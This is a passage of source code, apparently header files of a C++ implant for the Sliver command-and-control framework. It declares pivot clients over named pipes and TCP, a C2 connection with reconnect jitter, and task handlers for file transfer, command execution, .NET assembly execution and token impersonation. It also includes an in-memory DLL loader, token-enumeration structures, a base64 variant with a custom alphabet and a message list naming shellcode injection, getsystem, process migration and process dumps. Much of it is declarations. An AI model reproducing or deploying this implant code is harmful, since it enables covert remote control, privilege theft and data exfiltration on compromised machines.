| 61 | class NamedPipeClient : public IClient { 62 | public: 63 | NamedPipeClient(const string& pipe_name); 64 | bool SessionInit() override; 65 | bool WriteEnvelope(sliverpb::Envelope&) override; 66 | bool WriteEnvelopeNoResp(sliverpb::Envelope&) override; 67 | bool WriteEnvelope_nolock(sliverpb::Envelope&); 68 | bool WriteAndReceive(const sliverpb::Envelope&, sliverpb::Envelope&) override; 69 | unique_ptr ReadEnvelope() override; 70 | bool ReadEnvelope(sliverpb::Envelope&); 71 | unique_ptr ReadEnvelopeBlocking(); 72 | std::chrono::system_clock::duration timeDelta; 73 | bool closed; 74 | crypto::CipherContext peer_ctx; 75 | crypto::CipherContext server_ctx; 76 | string base_URI; 77 | private: 78 | bool Check(); 79 | string read(); 80 | bool write(const string&); 81 | bool writeAndRecv(const string&, string&); 82 | mutex pollMutex; 83 | HANDLE hPipeWrite,hPipeRead; 84 | string pivotSessionID; 85 | string pipe_name; 86 | }; 87 | 88 | #endif 89 | 90 | #if defined(PIVOT) && defined(TCPPIVOT) 91 | class TCPClient : public IClient { 92 | public: 93 | TCPClient(const string& pipe_name); 94 | bool SessionInit() override; 95 | bool WriteEnvelope(sliverpb::Envelope&) override; 96 | bool WriteEnvelopeNoResp(sliverpb::Envelope&) override; 97 | bool WriteEnvelope_nolock(sliverpb::Envelope&); 98 | bool WriteAndReceive(const sliverpb::Envelope&, sliverpb::Envelope&) override; 99 | unique_ptr ReadEnvelope() override; 100 | bool ReadEnvelope(sliverpb::Envelope&); 101 | unique_ptr ReadEnvelopeBlocking(); 102 | std::chrono::system_clock::duration timeDelta; 103 | bool closed; 104 | crypto::CipherContext peer_ctx; 105 | crypto::CipherContext server_ctx; 106 | string base_URI; 107 | private: 108 | bool Check(); 109 | string read(); 110 | bool write(const string&); 111 | bool writeAndRecv(const string&, string&); 112 | mutex pollMutex; 113 | string pivotSessionID; 114 | string bind_address; 115 | struct addrinfo* addr_info; 116 | SOCKET connect_socket; 117 | }; 118 | 119 | #endif 120 | } 121 | -------------------------------------------------------------------------------- /Include/Connection.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "Client.h" 4 | #include 5 | #include "concurrent_queue.h" 6 | 7 | using namespace std; 8 | namespace transports { 9 | class Connection { 10 | public: 11 | Connection(const string&, unique_ptr&, const string & = "", int interval = 5, int jitter = 1, int reconnectInterval = 30); 12 | bool ConnectionInit(); 13 | void ConnectionStart(); 14 | bool ConnectionSend(sliverpb::Envelope&); 15 | unique_ptr ConnectionRecv(); 16 | //void ConnectionClose(); 17 | //void ConnectionCleanup(); 18 | std::chrono::seconds GetReconnectInterval(); 19 | int GetConnectionErrors(); 20 | std::chrono::duration reconnectInterval; 21 | int connectionErrors = 0; 22 | string activeC2; 23 | string proxyURL; 24 | std::mutex m; 25 | std::unique_ptr client; 26 | shared_ptr> to_send_queue; 27 | shared_ptr> recv_queue; 28 | }; 29 | } -------------------------------------------------------------------------------- /Include/CryptoUtils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | using namespace std; 9 | 10 | namespace crypto { 11 | 12 | typedef struct _ECCkeyPair { 13 | unsigned char pb_key[32]; 14 | unsigned char pv_key[32]; 15 | }ECCKeyPair, * PECCKeyPair; 16 | 17 | string RandomKey(); 18 | string GetServerECCPublicKey(); 19 | shared_ptr getKeyPair(); 20 | string ECCEncryptToServer(const string&); 21 | uint32_t GetTOTP(const chrono::system_clock::time_point&); 22 | } -------------------------------------------------------------------------------- /Include/Handlers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "sliver.pb.h" 4 | #include "Beacon.h" 5 | #include "Connection.h" 6 | 7 | using namespace std; 8 | using namespace transports; 9 | 10 | namespace handlers { 11 | typedef sliverpb::Envelope (*handler) (int64_t taskID,string taskData); 12 | typedef sliverpb::Envelope(*pivotHandler) (sliverpb::Envelope, shared_ptr c); 13 | typedef sliverpb::Envelope(*beaconPivotHandler) (sliverpb::Envelope, shared_ptr b); 14 | 15 | 16 | 17 | //system handlers 18 | map& getSystemHandlers(); 19 | sliverpb::Envelope pwdHandler(int64_t,string); 20 | sliverpb::Envelope lsHandler(int64_t, string); 21 | sliverpb::Envelope cdHandler(int64_t, string); 22 | sliverpb::Envelope uploadHandler(int64_t, string); 23 | sliverpb::Envelope downloadHandler(int64_t, string); 24 | sliverpb::Envelope mkdirHandler(int64_t, string); 25 | sliverpb::Envelope rmHandler(int64_t, string); 26 | sliverpb::Envelope makeTokenHandler(int64_t, string); 27 | sliverpb::Envelope revToSelfHandler(int64_t, string); 28 | sliverpb::Envelope executeAssemblyHandler(int64_t, string); 29 | sliverpb::Envelope registerExtensionHandler(int64_t, string); 30 | sliverpb::Envelope callExtensionHandler(int64_t, string); 31 | sliverpb::Envelope listExtensionHandler(int64_t, string); 32 | sliverpb::Envelope executeHandler(int64_t, string); 33 | sliverpb::Envelope impersonateHandler(int64_t taskID, string data); 34 | sliverpb::Envelope ListTokensHandler(int64_t taskID, string data); 35 | sliverpb::Envelope psHandler(int64_t taskID, string data); 36 | //pivot handlers 37 | //map& getPivotHandlers(); 38 | /*sliverpb::Envelope pivotStartListenerHandler(sliverpb::Envelope, shared_ptr); 39 | sliverpb::Envelope pivotPeerEnvelopeHandler(sliverpb::Envelope, shared_ptr);*/ 40 | 41 | //beaconPivotHandlers 42 | map& getBeaconPivotHandlers(); 43 | sliverpb::Envelope beaconPivotStartListenerHandler(sliverpb::Envelope, shared_ptr); 44 | sliverpb::Envelope beaconPivotStopListenerHandler(sliverpb::Envelope, shared_ptr); 45 | sliverpb::Envelope beaconListenersHandler(sliverpb::Envelope, shared_ptr); 46 | sliverpb::Envelope beaconPivotPeerEnvelopeHandler(sliverpb::Envelope, shared_ptr); 47 | vector collectPivotEnvelopes(); 48 | } -------------------------------------------------------------------------------- /Include/Handlers_Utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "sliver.pb.h" 4 | 5 | using namespace std; 6 | 7 | namespace handlers { 8 | sliverpb::Envelope wrapResponse(int64_t, google::protobuf::Message&); 9 | } -------------------------------------------------------------------------------- /Include/MemoryModule.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | namespace extensions { 5 | typedef void* HMEMORYMODULE; 6 | 7 | typedef void* HMEMORYRSRC; 8 | 9 | typedef void* HCUSTOMMODULE; 10 | 11 | #ifdef __cplusplus 12 | extern "C" { 13 | #endif 14 | 15 | typedef LPVOID(*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*); 16 | typedef BOOL(*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*); 17 | typedef HCUSTOMMODULE(*CustomLoadLibraryFunc)(LPCSTR, void*); 18 | typedef FARPROC(*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void*); 19 | typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void*); 20 | 21 | /** 22 | * Load EXE/DLL from memory location with the given size. 23 | * 24 | * All dependencies are resolved using default LoadLibrary/GetProcAddress 25 | * calls through the Windows API. 26 | */ 27 | HMEMORYMODULE MemoryLoadLibrary(const void*, size_t); 28 | 29 | /** 30 | * Load EXE/DLL from memory location with the given size using custom dependency 31 | * resolvers. 32 | * 33 | * Dependencies will be resolved using passed callback methods. 34 | */ 35 | HMEMORYMODULE MemoryLoadLibraryEx(const void*, size_t, 36 | CustomAllocFunc, 37 | CustomFreeFunc, 38 | CustomLoadLibraryFunc, 39 | CustomGetProcAddressFunc, 40 | CustomFreeLibraryFunc, 41 | void*); 42 | 43 | /** 44 | * Get address of exported method. Supports loading both by name and by 45 | * ordinal value. 46 | */ 47 | FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); 48 | 49 | /** 50 | * Free previously loaded EXE/DLL. 51 | */ 52 | void MemoryFreeLibrary(HMEMORYMODULE); 53 | 54 | /** 55 | * Execute entry point (EXE only). The entry point can only be executed 56 | * if the EXE has been loaded to the correct base address or it could 57 | * be relocated (i.e. relocation information have not been stripped by 58 | * the linker). 59 | * 60 | * Important: calling this function will not return, i.e. once the loaded 61 | * EXE finished running, the process will terminate. 62 | * 63 | * Returns a negative value if the entry point could not be executed. 64 | */ 65 | int MemoryCallEntryPoint(HMEMORYMODULE); 66 | 67 | /** 68 | * Find the location of a resource with the specified type and name. 69 | */ 70 | HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR); 71 | 72 | /** 73 | * Find the location of a resource with the specified type, name and language. 74 | */ 75 | HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD); 76 | 77 | /** 78 | * Get the size of the resource in bytes. 79 | */ 80 | DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC); 81 | 82 | /** 83 | * Get a pointer to the contents of the resource. 84 | */ 85 | LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC); 86 | 87 | /** 88 | * Load a string resource. 89 | */ 90 | int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int); 91 | 92 | /** 93 | * Load a string resource with a given language. 94 | */ 95 | int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD); 96 | 97 | /** 98 | * Default implementation of CustomAllocFunc that calls VirtualAlloc 99 | * internally to allocate memory for a library 100 | * 101 | * This is the default as used by MemoryLoadLibrary. 102 | */ 103 | LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void*); 104 | 105 | /** 106 | * Default implementation of CustomFreeFunc that calls VirtualFree 107 | * internally to free the memory used by a library 108 | * 109 | * This is the default as used by MemoryLoadLibrary. 110 | */ 111 | BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void*); 112 | 113 | /** 114 | * Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA 115 | * internally to load an additional libary. 116 | * 117 | * This is the default as used by MemoryLoadLibrary. 118 | */ 119 | HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void*); 120 | 121 | /** 122 | * Default implementation of CustomGetProcAddressFunc that calls GetProcAddress 123 | * internally to get the address of an exported function. 124 | * 125 | * This is the default as used by MemoryLoadLibrary. 126 | */ 127 | FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void*); 128 | 129 | /** 130 | * Default implementation of CustomFreeLibraryFunc that calls FreeLibrary 131 | * internally to release an additional libary. 132 | * 133 | * This is the default as used by MemoryLoadLibrary. 134 | */ 135 | void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void*); 136 | 137 | #ifdef __cplusplus 138 | } 139 | #endif 140 | } -------------------------------------------------------------------------------- /Include/Os.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | using namespace std; 4 | 5 | namespace os { 6 | string GetOSVersion(); 7 | string GetHostName(); 8 | string GetExecutableName(); 9 | string GetUserDefaultLocaleNameString(); 10 | } -------------------------------------------------------------------------------- /Include/PivotConn.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include "sliver.pb.h" 4 | #include "CipherContext.h" 5 | //#include 6 | #include 7 | #include "Beacon.h" 8 | 9 | #define BUFSIZE 512 10 | using namespace transports; 11 | namespace pivots { 12 | class PivotConn { 13 | public: 14 | PivotConn(); 15 | ~PivotConn(); 16 | virtual void Start() = 0; 17 | virtual bool Check() = 0; 18 | virtual void Stop() = 0; 19 | virtual sliverpb::Envelope ReadEnvelope() = 0; 20 | virtual bool WriteEnvelope(const sliverpb::Envelope&) = 0; 21 | virtual bool peerKeyExchange() = 0; 22 | virtual string read() = 0; 23 | virtual bool write(const string&) = 0; 24 | uint64_t downstreamPeerID; 25 | crypto::CipherContext ctx; 26 | /*shared_ptr> upstream; 27 | shared_ptr> downstream;*/ 28 | shared_ptr beacon; 29 | thread t; 30 | atomic stop; 31 | }; 32 | class NamedPipeConn : public PivotConn { 33 | public: 34 | void Start() override; 35 | bool Check() override; 36 | void Stop() override; 37 | NamedPipeConn(HANDLE,HANDLE); 38 | string read() override; 39 | bool write(const string&) override; 40 | sliverpb::Envelope ReadEnvelope() override; 41 | bool WriteEnvelope(const sliverpb::Envelope&) override; 42 | bool peerKeyExchange() override; 43 | private: 44 | HANDLE hRead, hWrite; 45 | }; 46 | 47 | class TCPConn : public PivotConn { 48 | public: 49 | void Start() override; 50 | bool Check() override; 51 | void Stop() override; 52 | TCPConn(SOCKET); 53 | ~TCPConn(); 54 | string read() override; 55 | bool write(const string&) override; 56 | sliverpb::Envelope ReadEnvelope() override; 57 | bool WriteEnvelope(const sliverpb::Envelope&) override; 58 | bool peerKeyExchange() override; 59 | private: 60 | SOCKET client_socket; 61 | }; 62 | } -------------------------------------------------------------------------------- /Include/ReadersWriterLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | 9 | class ReadersWriterLock 10 | { 11 | std::atomic_int readRequests{ 0 }; 12 | std::atomic_int writeRequests{ 0 }; 13 | std::condition_variable cv; 14 | std::mutex m; 15 | std::mutex mw; 16 | void (ReadersWriterLock::* beforeRead)() { &ReadersWriterLock::before_read_msl }; 17 | void (ReadersWriterLock::* afterRead)() { &ReadersWriterLock::after_read_msl }; 18 | void (ReadersWriterLock::* beforeWrite)() { &ReadersWriterLock::before_write_msl }; 19 | void (ReadersWriterLock::* afterWrite)() { &ReadersWriterLock::after_write_msl }; 20 | 21 | inline void before_read_m2cv() 22 | { 23 | this->readRequests++; 24 | if (this->writeRequests > 0) 25 | { 26 | this->readRequests--; 27 | std::unique_lock lk(this->m); 28 | this->cv.notify_all(); 29 | while (writeRequests > 0) this->cv.wait(lk); 30 | this->readRequests++; 31 | } 32 | } 33 | //----------------------------------------------------------------------------- 34 | inline void after_read_m2cv() 35 | { 36 | this->readRequests--; 37 | this->cv.notify_all(); 38 | } 39 | //----------------------------------------------------------------------------- 40 | inline void before_write_m2cv() 41 | { 42 | this->writeRequests++; 43 | std::unique_lock lk(this->m); 44 | while (this->readRequests > 0) this->cv.wait(lk); 45 | this->mw.lock(); 46 | } 47 | //----------------------------------------------------------------------------- 48 | inline void after_write_m2cv() 49 | { 50 | this->writeRequests--; 51 | this->cv.notify_all(); 52 | this->mw.unlock(); 53 | } 54 | //----------------------------------------------------------------------------- 55 | inline void before_read_msl() 56 | { 57 | this->readRequests++; 58 | if (this->writeRequests > 0) 59 | { 60 | this->readRequests--; 61 | std::unique_lock lk(this->mw); 62 | this->readRequests++; 63 | lk.unlock(); 64 | } 65 | } 66 | //----------------------------------------------------------------------------- 67 | inline void after_read_msl() 68 | { 69 | this->readRequests--; 70 | } 71 | //----------------------------------------------------------------------------- 72 | inline void before_write_msl() 73 | { 74 | this->mw.lock(); 75 | this->writeRequests++; 76 | while (this->readRequests > 0) std::this_thread::yield(); 77 | } 78 | //----------------------------------------------------------------------------- 79 | inline void after_write_msl() 80 | { 81 | this->writeRequests--; 82 | this->mw.unlock(); 83 | } 84 | //----------------------------------------------------------------------------- 85 | inline void empty_function() {} 86 | 87 | public: 88 | enum class LockStyle 89 | { 90 | NONE,//No synchronization 91 | M2CV,//2 mutexes and one conditional variable 92 | MSL//Mutex and spinlock 93 | }; 94 | //----------------------------------------------------------------------------- 95 | bool set_lock_style(LockStyle lockStyle) 96 | { 97 | bool ret = true; 98 | if (lockStyle == LockStyle::MSL) 99 | { 100 | this->beforeRead = &ReadersWriterLock::before_read_msl; 101 | this->afterRead = &ReadersWriterLock::after_read_msl; 102 | this->beforeWrite = &ReadersWriterLock::before_write_msl; 103 | this->afterWrite = &ReadersWriterLock::after_write_msl; 104 | } 105 | else if (lockStyle == LockStyle::M2CV) 106 | { 107 | this->beforeRead = &ReadersWriterLock::before_read_m2cv; 108 | this->afterRead = &ReadersWriterLock::after_read_m2cv; 109 | this->beforeWrite = &ReadersWriterLock::before_write_m2cv; 110 | this->afterWrite = &ReadersWriterLock::after_write_m2cv; 111 | } 112 | else if (lockStyle == LockStyle::NONE) 113 | { 114 | this->beforeRead = &ReadersWriterLock::empty_function; 115 | this->afterRead = &ReadersWriterLock::empty_function; 116 | this->beforeWrite = &ReadersWriterLock::empty_function; 117 | this->afterWrite = &ReadersWriterLock::empty_function; 118 | } 119 | else ret = false; 120 | return(ret); 121 | } 122 | inline void lock_read() { (this->*beforeRead)(); } 123 | inline void unlock_read() { (this->*afterRead)(); } 124 | inline void lock_write() { (this->*beforeWrite)(); } 125 | inline void unlock_write() { (this->*afterWrite)(); } 126 | }; -------------------------------------------------------------------------------- /Include/Sliver-CPPImplant.h: -------------------------------------------------------------------------------- 1 | // Sliver-CPPImplant2.h : Include file for standard system include files, 2 | // or project specific include files. 3 | 4 | #pragma once 5 | 6 | #ifdef SHARED 7 | extern "C" { 8 | __declspec(dllexport) int __cdecl Entry(); 9 | } 10 | #endif 11 | 12 | 13 | // TODO: Reference additional headers your program requires here. 14 | -------------------------------------------------------------------------------- /Include/Token.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define MAX_USERNAME_LENGTH 256 11 | #define MAX_DOMAINNAME_LENGTH 256 12 | #define FULL_NAME_LENGTH 271 13 | #define TOKEN_TYPE_LENGTH 30 14 | #define TOKEN_IMPERSONATION_LENGTH 50 15 | #define TOKEN_INTEGRITY_LENGTH 10 16 | #define COMMAND_LENGTH 1000 17 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 18 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 19 | #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) 20 | #define SystemHandleInformation 16 21 | #define SystemHandleInformationSize 1024 * 1024 * 10 22 | 23 | using namespace std; 24 | 25 | namespace token { 26 | 27 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { 28 | USHORT ProcessId; 29 | USHORT CreatorBackTraceIndex; 30 | UCHAR ObjectTypeIndex; 31 | UCHAR HandleAttributes; 32 | USHORT HandleValue; 33 | PVOID Object; 34 | ULONG GrantedAccess; 35 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 36 | 37 | typedef struct _SYSTEM_HANDLE_INFORMATION { 38 | ULONG NumberOfHandles; 39 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 40 | } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; 41 | 42 | typedef enum _POOL_TYPE { 43 | NonPagedPool, 44 | PagedPool, 45 | NonPagedPoolMustSucceed, 46 | DontUseThisType, 47 | NonPagedPoolCacheAligned, 48 | PagedPoolCacheAligned, 49 | NonPagedPoolCacheAlignedMustS 50 | } POOL_TYPE, * PPOOL_TYPE; 51 | 52 | typedef struct _OBJECT_TYPE_INFORMATION { 53 | UNICODE_STRING Name; 54 | ULONG TotalNumberOfObjects; 55 | ULONG TotalNumberOfHandles; 56 | ULONG TotalPagedPoolUsage; 57 | ULONG TotalNonPagedPoolUsage; 58 | ULONG TotalNamePoolUsage; 59 | ULONG TotalHandleTableUsage; 60 | ULONG HighWaterNumberOfObjects; 61 | ULONG HighWaterNumberOfHandles; 62 | ULONG HighWaterPagedPoolUsage; 63 | ULONG HighWaterNonPagedPoolUsage; 64 | ULONG HighWaterNamePoolUsage; 65 | ULONG HighWaterHandleTableUsage; 66 | ULONG Inis_token_validAttributes; 67 | GENERIC_MAPPING GenericMapping; 68 | ULONG is_token_validAccess; 69 | BOOLEAN SecurityRequired; 70 | BOOLEAN MaintainHandleCount; 71 | USHORT MaintainTypeList; 72 | POOL_TYPE PoolType; 73 | ULONG PagedPoolUsage; 74 | ULONG NonPagedPoolUsage; 75 | } OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; 76 | 77 | typedef UNICODE_STRING OBJECT_NAME_INFORMATION; 78 | typedef UNICODE_STRING* POBJECT_NAME_INFORMATION; 79 | 80 | using fNtQuerySystemInformation = NTSTATUS(WINAPI*)( 81 | ULONG SystemInformationClass, 82 | PVOID SystemInformation, 83 | ULONG SystemInformationLength, 84 | PULONG ReturnLength 85 | ); 86 | 87 | typedef struct { 88 | HANDLE TokenHandle; 89 | int TokenId; 90 | DWORD SessionId; 91 | wchar_t Username[FULL_NAME_LENGTH]; 92 | wchar_t TokenType[TOKEN_TYPE_LENGTH]; 93 | wchar_t TokenImpersonationLevel[TOKEN_IMPERSONATION_LENGTH]; 94 | wchar_t TokenIntegrity[TOKEN_INTEGRITY_LENGTH]; 95 | } TOKEN; 96 | 97 | typedef struct _userInfo { 98 | string uid; 99 | string gid; 100 | string username; 101 | 102 | }UserInfo,PUserInfo; 103 | 104 | class Token { 105 | public: 106 | Token(HANDLE); 107 | Token(const Token&); 108 | std::wstring toString(); 109 | 110 | HANDLE TokenHandle; 111 | LUID TokenId; 112 | LUID LogonSessionId; 113 | ULONG LogonType; 114 | std::wstring Username; 115 | TOKEN_TYPE TokenType; 116 | SECURITY_IMPERSONATION_LEVEL TokenImpLevel; 117 | DWORD TokenIntegrity; 118 | DWORD PrivilegesCount; 119 | }; 120 | 121 | string SidToString(PSID sid); 122 | string GetUserNameString(); 123 | UserInfo GetCurrentUserInfo(); 124 | HANDLE getToken(); 125 | bool makeToken(const string&, const string&, const string&, uint32_t); 126 | bool revertToken(); 127 | bool Impersonate(const std::string& username); 128 | bool Impersonate(const long long tid); 129 | vector ListTokens(); 130 | } -------------------------------------------------------------------------------- /Include/Utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | namespace utils { 5 | bool is_number(const std::string& s); 6 | std::string ws2s(const std::wstring& s); 7 | } -------------------------------------------------------------------------------- /Include/base64_utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #ifndef BASE_64_HPP 3 | #define BASE_64_HPP 4 | 5 | #include 6 | #include 7 | 8 | namespace base64 { 9 | inline std::string get_base64_chars() { 10 | static std::string base64_chars = "a0b2c5def6hijklmnopqr_st-uvwxyzA1B3C4DEFGHIJKLM7NO9PQR8ST+UVWXYZ"; 11 | return base64_chars; 12 | } 13 | 14 | inline std::string to_base64(std::string const& data) { 15 | int counter = 0; 16 | uint32_t bit_stream = 0; 17 | const std::string base64_chars = get_base64_chars(); 18 | std::string encoded; 19 | int offset = 0; 20 | for (unsigned char c : data) { 21 | auto num_val = static_cast(c); 22 | offset = 16 - counter % 3 * 8; 23 | bit_stream += num_val << offset; 24 | if (offset == 16) { 25 | encoded += base64_chars.at(bit_stream >> 18 & 0x3f); 26 | } 27 | if (offset == 8) { 28 | encoded += base64_chars.at(bit_stream >> 12 & 0x3f); 29 | } 30 | if (offset == 0 && counter != 3) { 31 | encoded += base64_chars.at(bit_stream >> 6 & 0x3f); 32 | encoded += base64_chars.at(bit_stream & 0x3f); 33 | bit_stream = 0; 34 | } 35 | counter++; 36 | } 37 | if (offset == 16) { 38 | encoded += base64_chars.at(bit_stream >> 12 & 0x3f); 39 | encoded += "=="; 40 | } 41 | if (offset == 8) { 42 | encoded += base64_chars.at(bit_stream >> 6 & 0x3f); 43 | encoded += '='; 44 | } 45 | return encoded; 46 | } 47 | 48 | inline std::string from_base64(std::string const& data) { 49 | int counter = 0; 50 | uint32_t bit_stream = 0; 51 | std::string decoded; 52 | int offset = 0; 53 | const std::string base64_chars = get_base64_chars(); 54 | for (unsigned char c : data) { 55 | auto num_val = base64_chars.find(c); 56 | if (num_val != std::string::npos) { 57 | offset = 18 - counter % 4 * 6; 58 | bit_stream += num_val << offset; 59 | if (offset == 12) { 60 | decoded += static_cast(bit_stream >> 16 & 0xff); 61 | } 62 | if (offset == 6) { 63 | decoded += static_cast(bit_stream >> 8 & 0xff); 64 | } 65 | if (offset == 0 && counter != 4) { 66 | decoded += static_cast(bit_stream & 0xff); 67 | bit_stream = 0; 68 | } 69 | } 70 | else if (c != '=') { 71 | return std::string(); 72 | } 73 | counter++; 74 | } 75 | return decoded; 76 | } 77 | 78 | } 79 | 80 | #endif // BASE_64_HPP -------------------------------------------------------------------------------- /Include/constants.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "sliver.pb.h" 3 | namespace sliverpb { 4 | enum MsgType { 5 | MsgRegister = 1, 6 | 7 | // MsgTaskReq - A local shellcode injection task, 8 | MsgTaskReq, 9 | 10 | // MsgPing - Confirm connection is open used as req/resp, 11 | MsgPing, 12 | 13 | // MsgKillSessionReq - Kill request to the sliver process, 14 | MsgKillSessionReq, 15 | 16 | // MsgLsReq - Request a directory listing from the remote system, 17 | MsgLsReq, 18 | // MsgLs - Directory listing (resp to MsgDirListReq), 19 | MsgLs, 20 | 21 | // MsgDownloadReq - Request to download a file from the remote system, 22 | MsgDownloadReq, 23 | // MsgDownload - File contents for download (resp to DownloadReq), 24 | MsgDownload, 25 | 26 | // MsgUploadReq - Upload a file to the remote file system, 27 | MsgUploadReq, 28 | // MsgUpload - Confirms the success/failure of the file upload (resp to MsgUploadReq), 29 | MsgUpload, 30 | 31 | // MsgCdReq - Request a change directory on the remote system, 32 | MsgCdReq, 33 | 34 | // MsgPwdReq - A request to get the CWD from the remote process, 35 | MsgPwdReq, 36 | // MsgPwd - The CWD of the remote process (resp to MsgPwdReq), 37 | MsgPwd, 38 | 39 | // MsgRmReq - Request to delete remote file, 40 | MsgRmReq, 41 | // MsgRm - Confirms the success/failure of delete request (resp to MsgRmReq), 42 | MsgRm, 43 | 44 | // MsgMkdirReq - Request to create a directory on the remote system, 45 | MsgMkdirReq, 46 | // MsgMkdir - Confirms the success/failure of the mkdir request (resp to MsgMkdirReq), 47 | MsgMkdir, 48 | 49 | // MsgPsReq - List processes req, 50 | MsgPsReq, 51 | // MsgPs - List processes resp, 52 | MsgPs, 53 | 54 | // MsgShellReq - Request to open a shell tunnel, 55 | MsgShellReq, 56 | // MsgShell - Response on starting shell, 57 | MsgShell, 58 | 59 | // MsgTunnelData - Data for duplex tunnels, 60 | MsgTunnelData, 61 | // MsgTunnelClose - Close a duplex tunnel, 62 | MsgTunnelClose, 63 | 64 | // MsgProcessDumpReq - Request to create a process dump, 65 | MsgProcessDumpReq, 66 | // MsgProcessDump - Dump of process), 67 | MsgProcessDump, 68 | // MsgImpersonateReq - Request for process impersonation, 69 | MsgImpersonateReq, 70 | // MsgImpersonate - Output of the impersonation command, 71 | MsgImpersonate, 72 | // MsgRunAsReq - Request to run process as user, 73 | MsgRunAsReq, 74 | // MsgRunAs - Run process as user, 75 | MsgRunAs, 76 | // MsgRevToSelf - Revert to self, 77 | MsgRevToSelf, 78 | // MsgRevToSelfReq - Request to revert to self, 79 | MsgRevToSelfReq, 80 | // MsgInvokeGetSystemReq - Elevate as SYSTEM user, 81 | MsgInvokeGetSystemReq, 82 | // MsgGetSystem - Response to getsystem request, 83 | MsgGetSystem, 84 | // MsgInvokeExecuteAssemblyReq - Request to load and execute a .NET assembly, 85 | MsgInvokeExecuteAssemblyReq, 86 | // MsgExecuteAssemblyReq - Request to load and execute a .NET assembly, 87 | MsgExecuteAssemblyReq, 88 | // MsgExecuteAssembly - Output of the assembly execution, 89 | MsgExecuteAssembly, 90 | // MsgInvokeMigrateReq - Spawn a new sliver in a designated process, 91 | MsgInvokeMigrateReq, 92 | 93 | // MsgSideloadReq - request to sideload a binary, 94 | MsgSideloadReq, 95 | // MsgSideload - output of the binary, 96 | MsgSideload, 97 | 98 | // MsgSpawnDllReq - Reflective DLL injection request, 99 | MsgSpawnDllReq, 100 | // MsgSpawnDll - Reflective DLL injection output, 101 | MsgSpawnDll, 102 | 103 | // MsgIfconfigReq - Ifconfig (network interface config) request, 104 | MsgIfconfigReq, 105 | // MsgIfconfig - Ifconfig response, 106 | MsgIfconfig, 107 | 108 | // MsgExecuteReq - Execute a command on the remote system, 109 | MsgExecuteReq, 110 | 111 | // MsgTerminateReq - Request to kill a remote process, 112 | MsgTerminateReq, 113 | 114 | // MsgTerminate - Kill a remote process, 115 | MsgTerminate, 116 | 117 | // MsgScreenshotReq - Request to take a screenshot, 118 | MsgScreenshotReq, 119 | 120 | // MsgScreenshot - Response with the screenshots, 121 | MsgScreenshot, 122 | 123 | // MsgNetstatReq - Netstat request, 124 | MsgNetstatReq, 125 | 126 | // *** Pivots *** 127 | 128 | // MsgPivotStartListenerReq - Start a listener, 129 | MsgPivotStartListenerReq, 130 | // MsgPivotStopListenerReq - Stop a listener, 131 | MsgPivotStopListenerReq, 132 | // MsgPivotListenersReq - List listeners request, 133 | MsgPivotListenersReq, 134 | // MsgPivotListeners - List listeners response, 135 | MsgPivotListeners, 136 | // MsgPivotPeerPing - Pivot peer ping message, 137 | MsgPivotPeerPing, 138 | // MsgPivotServerPing - Pivot peer ping message, 139 | MsgPivotServerPing, 140 | // PivotServerKeyExchange - Pivot to server key exchange 141 | MsgPivotServerKeyExchange, 142 | // MsgPivotPeerEnvelope - An envelope from a pivot peer, 143 | MsgPivotPeerEnvelope, 144 | // MsgPivotPeerFailure - Failure to send an envelope to a pivot peer, 145 | MsgPivotPeerFailure, 146 | // MsgPivotSessionEnvelope, 147 | MsgPivotSessionEnvelope, 148 | 149 | // MsgStartServiceReq - Request to start a service, 150 | MsgStartServiceReq, 151 | // MsgStartService - Response to start service request, 152 | MsgStartService, 153 | // MsgStopServiceReq - Request to stop a remote service, 154 | MsgStopServiceReq, 155 | // MsgRemoveServiceReq - Request to remove a remote service, 156 | MsgRemoveServiceReq, 157 | // MsgMakeTokenReq - Request for MakeToken, 158 | MsgMakeTokenReq, 159 | // MsgMakeToken - Response for MakeToken, 160 | MsgMakeToken, 161 | // MsgEnvReq - 